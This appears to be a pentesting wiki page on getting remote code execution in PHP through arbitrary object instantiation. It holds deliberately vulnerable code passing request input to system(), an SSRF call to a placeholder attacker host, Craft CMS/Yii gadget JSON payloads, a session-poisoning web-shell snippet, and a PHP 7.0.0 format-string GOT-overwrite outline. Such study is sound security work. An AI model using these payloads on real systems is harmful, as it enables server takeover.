PHP - RCE abusing object creation: new $_GET”a”
This is basically a summary of https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/[1]
Introduction
The creation of new arbitrary objects, such as new $_GET["a"]($_GET["b"]), can lead to Remote Code Execution (RCE), as detailed in a writeup. This document highlights various strategies for achieving RCE.[1]
RCE via Custom Classes or Autoloading
The syntax new $a($b) is used to instantiate an object where $a represents the class name and $b is the first argument passed to the constructor. These variables can be sourced from user inputs like GET/POST, where they may be strings or arrays, or from JSON, where they might present as other types.[1]
Consider the code snippet below:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
In this instance, setting $a to App and $b to a system command (for example, uname -a) executes that command. App2 demonstrates PHP’s legacy same-name constructor: it is deprecated in PHP 7 and is not treated as a constructor in PHP 8, so that branch is version-specific.[1][7]
Autoloading functions can be exploited if no such classes are directly accessible. These functions automatically load classes from files when needed and can be defined with spl_autoload_register; the example also retains legacy __autoload, which was deprecated in PHP 7.2 and removed in PHP 8.0.[1][8][9]
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
The behavior of autoloading varies with PHP versions, offering different RCE possibilities.[1]
RCE via Built-In Classes
Lacking custom classes or autoloaders, built-in PHP classes may suffice for RCE. The number of these classes ranges between 100 to 200, based on PHP version and extensions. They can be listed using get_declared_classes().[1]
Constructors of interest can be identified through the reflection API, as shown in the following example and the link https://3v4l.org/2JEGF.[1]
RCE via specific methods includes:
SSRF + Phar Deserialization
The SplFileObject constructor can provide an SSRF primitive when the requested stream wrapper is enabled; HTTP/FTP URL wrappers also depend on allow_url_fopen.[1]
new SplFileObject('http://attacker.com/');
Before PHP 8.0, filesystem operations on a phar:// URL could automatically deserialize Phar metadata and turn SSRF/file-operation primitives into object injection. PHP 8.0 stopped automatic metadata unserialization, so later versions require an explicit Phar::getMetadata() path or another gadget.[1][9]
Exploiting PDOs
The PDO class constructor allows connections to databases via DSN strings, potentially enabling file creation or other interactions:[1]
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Versions of PHP up to 5.3.22 and 5.4.12 were susceptible to XXE attacks through the SoapClient and SimpleXMLElement constructors, contingent on the version of libxml2.[1]
RCE via Imagick Extension
In the analysis of a project’s dependencies, it was discovered that Imagick could be leveraged for command execution by instantiating new objects. This presents an opportunity for exploiting vulnerabilities.[1]
VID parser
The VID parser capability of writing content to any specified path in the filesystem was identified. This could lead to the placement of a PHP shell in a web-accessible directory, achieving Remote Code Execution (RCE).[1]
VID Parser + File Upload
It’s noted that PHP temporarily stores uploaded files in /tmp/phpXXXXXX. The VID parser in Imagick, utilizing the msl protocol, can handle wildcards in file paths, facilitating the transfer of the temporary file to a chosen location. This method offers an additional approach to achieve arbitrary file writing within the filesystem.[1]
PHP Crash + Brute Force
A method described in the original writeup involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.[1]
Yii / Craft CMS config-array object creation
Craft CMS CVE-2025-32432 is a good real-world example of a broader Yii abuse pattern: if attacker-controlled arrays reach a Yii constructor or Yii::createObject()-style sink, behavior attachment and class selection can become an object-instantiation primitive.[3][4]
Two config features are especially interesting:[3][5]
as <name>attaches a behavior, so nested arrays are treated as object configs.- In vulnerable Yii 2 builds before 2.0.52,
__classcan take precedence over a validatedclass, so checking onlyclassis bypassable.
Minimal pattern:
{
"as session": {
"class": "safe\ExpectedBehavior",
"__class": "GuzzleHttp\Psr7\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
If phpinfo() runs when the object is closed or destroyed, you have confirmed arbitrary Yii class instantiation plus callable control without needing a full RCE chain.[3]
yii\rbac\PhpManager as a file-evaluation gadget
yii\rbac\PhpManager expects itemFile to point to a PHP script containing authorization items. If you can instantiate it with controlled constructor data, you can turn any readable attacker-influenced PHP file into code execution:[3][6]
{
"as exploit": {
"class": "safe\ExpectedBehavior",
"__class": "yii\rbac\PhpManager",
"__construct()": [{
"itemFile": "/var/lib/php/sessions/sess_<PHPSESSID>"
}]
}
}
Useful file sources include:
- File-based PHP sessions such as
/var/lib/php/sessions/sess_<PHPSESSID> - Web / PHP error logs
- Uploaded files or predictable temporary files
Pre-auth redirect/session poisoning
A practical way to create the PHP file is to hit a protected route before login. Many frameworks remember the full requested URL in the session so they can redirect the user after authentication. If query-string data is copied verbatim into a file-backed session, injecting PHP such as <?=system($_GET['cmd'])?> can turn the session file into a predictable code container.[3]
To exploit this reliably:[3]
- Obtain or create a valid session ID.
- Poison the same session with PHP syntax via a pre-auth redirect/cache/session feature.
- Reuse that exact session ID when triggering the
PhpManagergadget, or the wrong file will be loaded. - If the endpoint crashes with
500after execution, verify with a side channel such asping, DNS, or HTTP callbacks instead of waiting for command output.
Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
When user input controls the class name (e.g., new $_GET['model']()), PHP 7.0.0 introduced a transient bug during the Throwable refactor where the engine mistakenly treated the class name as a printf format string during resolution. This enables classic printf-style primitives inside PHP: leaks with %p, write-count control with width specifiers, and arbitrary writes with %n against in-process pointers (for example, GOT entries on ELF builds).[2]
Minimal repro vulnerable pattern:
<?php
$model = $_GET['model'];
$object = new $model();
Exploitation outline (from the reference):[2]
- Leak addresses via
%pin the class name to find a writable target:curl "http://host/index.php?model=%p-%p-%p" # Fatal error includes resolved string with leaked pointers - Use positional parameters and width specifiers to set an exact byte-count, then
%nto write that value to an address reachable on the stack, aiming at a GOT slot (e.g.,free) to partially overwrite it tosystem. - Trigger the hijacked function by passing a class name containing a shell pipe to reach
system("id").
Notes:[2]
- Works only on PHP 7.0.0 (Bug #71105); fixed in subsequent releases. Severity: critical if arbitrary class instantiation exists.
- Typical payloads chain many
%pto walk the stack, then%.<width>d%<pos>$nto land the partial overwrite.
References
- [1] Exploiting Arbitrary Object Instantiations in PHP without Custom Classes
- [2] The Art of PHP: CTF‑born exploits and techniques
- [3] 0xdf - Hack The Box Orion: Craft CMS CVE-2025-32432 RCE and inetd/Telnet Root Authentication Bypass
- [4] Craft CMS and CVE-2025-32432
- [5] Yii 2.0.52 security advisory
- [6] Yii
yii\rbac\PhpManagerAPI docs - [7] PHP manual - Constructors and Destructors
- [8] PHP manual - Autoloading Classes
- [9] PHP 8 migration guide - Backward incompatible changes